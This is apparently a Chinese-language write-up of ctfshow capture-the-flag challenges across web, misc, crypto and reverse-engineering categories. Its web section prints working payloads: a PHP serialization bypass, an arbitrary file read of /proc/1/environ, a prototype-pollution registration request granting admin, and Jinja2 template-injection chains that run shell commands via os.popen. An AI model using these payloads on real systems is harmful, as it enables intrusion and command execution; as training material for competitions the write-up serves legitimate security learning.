WEB
签到·好玩的PHP
直接用数字和字符串绕就可以了
<?php
class ctfshow {
private $d = '1';
private $s = '2';
private $b = '3';
private $ctf = 123;
public function __destruct() {
$this->d = (string)$this->d;
$this->s = (string)$this->s;
$this->b = (string)$this->b;
if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
$dsb = $this->d.$this->s.$this->b;
if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {
echo file_get_contents("/flag.txt");
}
}
}
}
}
}
echo urlencode(serialize(new ctfshow));
迷雾重重
有一个任意文件包含
全局搜include,找到下面这个位置vendor/workerman/webman-framework/src/support/view/Raw.php
这里有一个include $__template_path__;并且可以通过变量覆盖传入任意值

继续往上找,发现support/helpers.php里面调用了render,并且参数可控,直接get传就行

最后就是app/controller/IndexController.php首页控制器里面的testJson方法直接调用了上面的view,就结束了,是一个任意文件读取,最后payload如下
{"name":"guest","__template_path__":"/proc/1/environ"}

ez_inject
比较脑洞,首先是原型链污染,由于不知道题目用的什么语言,只能硬猜,最后发现可以在注册时候直接多加一行is_admin去污染
POST /register HTTP/1.1
Host: 1954f8f7-4de5-49ad-9562-771f1fb7194c.challenge.ctf.show
Content-Length: 52
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://1954f8f7-4de5-49ad-9562-771f1fb7194c.challenge.ctf.show
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://1954f8f7-4de5-49ad-9562-771f1fb7194c.challenge.ctf.show/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,pl;q=0.7,en;q=0.6
Priority: u=0, i
Connection: close
{"username":"aaa",
"password":"1",
"is_admin":1
}

成为admin登录后,提示echo处存在注入

试了一下是一个不用括号的ssti,不知道过滤了什么,只能慢慢试出来,最后可以用的payload如下
config|attr('__in''it__')|attr('__glo''bals__')|attr('__geti''tem__')('os')|attr('popen')('ca''t /f''lag')|attr('re''ad')()

ezzz_ssti
只限制了长度的ssti,最大长度40,用config.update就行了,最后payload如下
{{config.update(f=lipsum.__globals__)}}
{{config.update(o=config.f.os)}}
{{config.update(p=config.o.popen)}}
{{config.p(request.args.c).read()}}&c=cat /f*
MISC
easy_mem_1
使用图形化工具lovelymem一把梭
查看系统信息就行了

最后flag
ctfshow{ZHUYUN_S_PC_192.168.26.129_22621}
easy_mem_2
还是使用图形化工具lovelymem一把梭
查看web时间线就行了

qq号在挂载的qq目录下就有

最后flag
ctfshow{54297198_穿成魔尊后我一心求死_BV1ZU4y1G7AP}
easy_mem_3
继续使用lovelymem一把梭
可以进程可以用恶意软件检测查看,发现一个叫Hmohgnsyc.exe的进程非常可疑

找一下这个文件的位置,发现在todesk的目录下

直接传微步沙箱可以拿到域名

最后flag
ctfshow{Hmohgnsyc.exe_todesk_jieba.net}
没耳朵都可以
给了个mp3,看了提示后才知道和音频无关,题目中说是不是原版,这很重要,怀疑和mp3中每一个frame的original这一位有关

写个脚本提取一下,下面的脚本有点粗糙,可能会多几位,但是不影响做题
# 导入必要的模块
import os
def find_fffb_positions(file_path):
headers = []
positions = [] # 用于存储FFFB的位置
try:
with open(file_path, 'rb') as file: # 以二进制模式打开文件
content = file.read() # 读取整个文件内容
index = 0 # 初始化索引
# 查找FFFB的所有位置
while index < len(content) - 1: # 确保不会越界
# 检查当前和下一个字节是否为FFFB
if content[index] == 0xFF and content[index + 1] == 0xFB:
if content[index + 2] == 0xE2 or content[index + 2] == 0xE0:
# if content[index + 3] == 0x60 or content[index + 3] == 0x40:
positions.append(index) # 记录位置
headers.append(content[index:index + 4])
index += 1 # 移动到下一个字节
return positions,headers # 返回所有找到的位置
except FileNotFoundError:
print(f"文件未找到: {file_path}")
return []
except Exception as e:
print(f"发生错误: {e}")
return []
if __name__ == "__main__":
file_name = "fox01.mp3" # 文件名
positions,headers = find_fffb_positions(file_name) # 调用函数
print(len(positions))
# print(list(set(headers)))
f = open('ori.txt','w')
for i in headers:
f.write(bin(i[3])[2:].zfill(8)[-3])
# print(bin(i[3])[2:].zfill(8)[-3],end='')
拿到original位后,观察一下,发现大概率是画图,因为前面后面都很多0

写个脚本爆破一下图片宽度画图,最后宽度301的时候得到flag
import os
from PIL import Image
def create_images_from_binary(file_path, output_dir, max_width=1000):
# 读取二进制字符串
with open(file_path, 'r') as file:
binary_string = file.read().strip()
# 确保输出目录存在
os.makedirs(output_dir, exist_ok=True)
length = len(binary_string)
for width in range(1, max_width + 1):
height = (length + width - 1) // width # 计算高度,向上取整
# 创建新的图片
image = Image.new('1', (width, height))
pixels = image.load()
# 填充像素
for i in range(length):
x = i % width
y = i // width
pixels[x, y] = int(binary_string[i])
# 填充剩余部分为0
for i in range(length, width * height):
x = i % width
y = i // width
pixels[x, y] = 0
# 保存图片
output_path = os.path.join(output_dir, f'image_{width}x{height}.png')
image.save(output_path)
print(f'Saved image: {output_path}')
if __name__ == "__main__":
input_file_path = 'ori.txt' # 替换为你的输入文件路径
output_directory = 'tmp' # 替换为你的输出目录
create_images_from_binary(input_file_path, output_directory)

CRYPTO
签到·一把梭
告诉d范围,爆破即可
from Crypto.Util.number import *
m =365570067986928236989573788230270407130085464313909252527513197832758480604817399268366313889131551088558394832418649150417321940578277210433329648095352247884911033780856767602238960538520312352025465812228462858158997175162265505345470937926646520732298730237509998898024691120409770049168658027104966429925920045510148612448817
print(long_to_bytes(m))
#什么年代了还在做低加密指数的传统RSA?我就猜出题人在100以内找个d然后模拟出e加密的。
n=0x846d39bff2e430ce49d3230c7f00b81b23e4f0c733f7f52f6a5d32460e456e5f
c=0x4eeec51849a85e5a6566f8d73a74b1e64959aa893f98e01c1e02c3120496f8b1
for d in range(100):
m = pow(c,d,n)
print(long_to_bytes(m))
# b'ctfshow{b4n_your_1_b1o0d}'

古典古典古典
base64->栅栏->凯撒->atbash

ASR
告诉m的范围,直接爆破即可
for i in range(372):
a = 40913285701005622718863058877533926183158872052161364026817991159+i
print(long_to_bytes(a))
# b'ctfshow{RSA_not_is_not_ASR}
ex咖喱棒
getPrime范围很小,可以直接爆破
n= 9007989895621669259301762739598643626213892494330778168383286295463641223987867033273111296978959160408689408884183780314498828688143466136060628598819311509949865018608092450964012727526450914131409697944090166113416984201622940137239452703698919890772056684013237404520834408811118739546684092365102406400768733
c= 3155015611586304247269005826733691392085437186284673630268852999607965592611252562808748872502491405722341353019602057980123546192900359248245073985988035982837057433789538035295585235536446429172802713235552248615722281314286849930993306403034865999074888279573724168174433746677852218329931104122667029131804586
from sympy import *
import gmpy2
from Crypto.Util.number import *
def givemeprime(p):
while (p).bit_length() <= 512:
p = nextprime(p*2**10)
return p
e=2**32+1
for p in range(512,1024):
if n%(givemeprime(p))==0:
p = givemeprime(p)
print(p)
q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c,d,n)
print(m)
print(long_to_bytes(m))
#ctfshow{exp_i5_a_5ki11_u_mUs7_m45t3r}
REVERSE
签到·easyRE
反编译一下,把代码复制出来调试一下,发现实际上运行的是里面的一段aes加密,重点在下面这行

拿到密文和key,写个解密脚本就行了
package com.ctfshow;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.SecureRandom;
import java.util.*;
public class D8yDSBCTF {
private static final String P3WSSK = "AES/ECB/PKCS5Padding";
private static final String C89SYS__ = "abcdefghijklmnopqrstuvwxyz";
private static final String C7yyfggl = C89SYS__.toUpperCase();
private static final String N9SSCRT = "0123456789";
private static final String D9UUSACR = C89SYS__ + C7yyfggl + N9SSCRT;
private static SecureRandom rf3ffc = new SecureRandom();
public void start() throws Exception {
String key = b3f7a__0x337f2a(a98fac77f__3c2a(1 << 4)).get(1);
String e3yfbbglsk = b3f7a__0x337f2a(a98fac77f__3c2a(1 << 4)).get(0);
System.out.println(e3yfbbglsk);
Scanner scanner = new Scanner(System.in);
System.out.println("please input password:");
String i3clscwyt = scanner.nextLine();
if (e3c7go_to(i3clscwyt, key).equals(e3yfbbglsk)) {
System.out.println("Login Successful");
} else {
System.out.println("Login Failed");
}
}
public static void main(String[] args) throws Exception {
String key = b3f7a__0x337f2a(a98fac77f__3c2a(1 << 4)).get(1);
String e3yfbbglsk = b3f7a__0x337f2a(a98fac77f__3c2a(1 << 4)).get(0);
System.out.println(key);
System.out.println(e3yfbbglsk);
System.out.println(decrypt_e3c7go(e3yfbbglsk, key));
}
private static List<String> b3f7a__0x337f2a(String a783c_7fxf__) {
final String f37xcrxedrd_ = "jvjeTQVGcDGPgFeC+E90Pz6wYzjcBK49YDx2W+6YFTjk/wma7Oa5J3O2ns8OptbxyNgIvYJf/J4BRJOat0LY2A==";
StringBuilder c0fybbg = new StringBuilder();
List<String> l2crsys = new ArrayList<String>();
char[] f117xc = f37xcrxedrd_.toCharArray();
for (char c : f117xc) {
c0fybbg.append((char) (((c >>> 4 ^ (c << 4) ^ (c >>> 4))) >> 4));
}
l2crsys.add(c0fybbg.substring(0, c0fybbg.length() - 24));
l2crsys.add(c0fybbg.substring(l2crsys.get(0).length(), c0fybbg.length()));
return l2crsys;
}
public static String a98fac77f__3c2a(int length) {
if (length < 1) throw new IllegalArgumentException("Length must be positive");
StringBuilder s7cyscrs = new StringBuilder(length);
for (int i = 0; i < length; i++) {
int randomIndex = rf3ffc.nextInt(D9UUSACR.length());
s7cyscrs.append(D9UUSACR.charAt(randomIndex));
}
return s7cyscrs.toString();
}
public static String e3c7go_to(String coysc21k, String k89csbbv) throws Exception {
while (k89csbbv.getBytes(StandardCharsets.UTF_8).length < 16) {
k89csbbv = k89csbbv;
}
byte[] keyBytes = k89csbbv.substring(0, 16).getBytes(StandardCharsets.UTF_8);
SecretKeySpec s88vfy = new SecretKeySpec(keyBytes, "AES");
Cipher c1ppy = Cipher.getInstance(P3WSSK);
c1ppy.init(Cipher.ENCRYPT_MODE, s88vfy);
byte[] encryptedBytes = c1ppy.doFinal(coysc21k.getBytes(StandardCharsets.UTF_8));
return Base64.getEncoder().encodeToString(encryptedBytes);
}
public static String decrypt_e3c7go(String encryptedText, String k89csbbv) throws Exception {
while (k89csbbv.getBytes(StandardCharsets.UTF_8).length < 16) {
k89csbbv = k89csbbv;
}
byte[] keyBytes = k89csbbv.substring(0, 16).getBytes(StandardCharsets.UTF_8);
SecretKeySpec s88vfy = new SecretKeySpec(keyBytes, "AES");
Cipher c1ppy = Cipher.getInstance(P3WSSK);
c1ppy.init(Cipher.DECRYPT_MODE, s88vfy);
byte[] decryptedBytes = c1ppy.doFinal(Base64.getDecoder().decode(encryptedText));
return new String(decryptedBytes, StandardCharsets.UTF_8);
}
}

852

被折叠的 条评论
为什么被折叠?



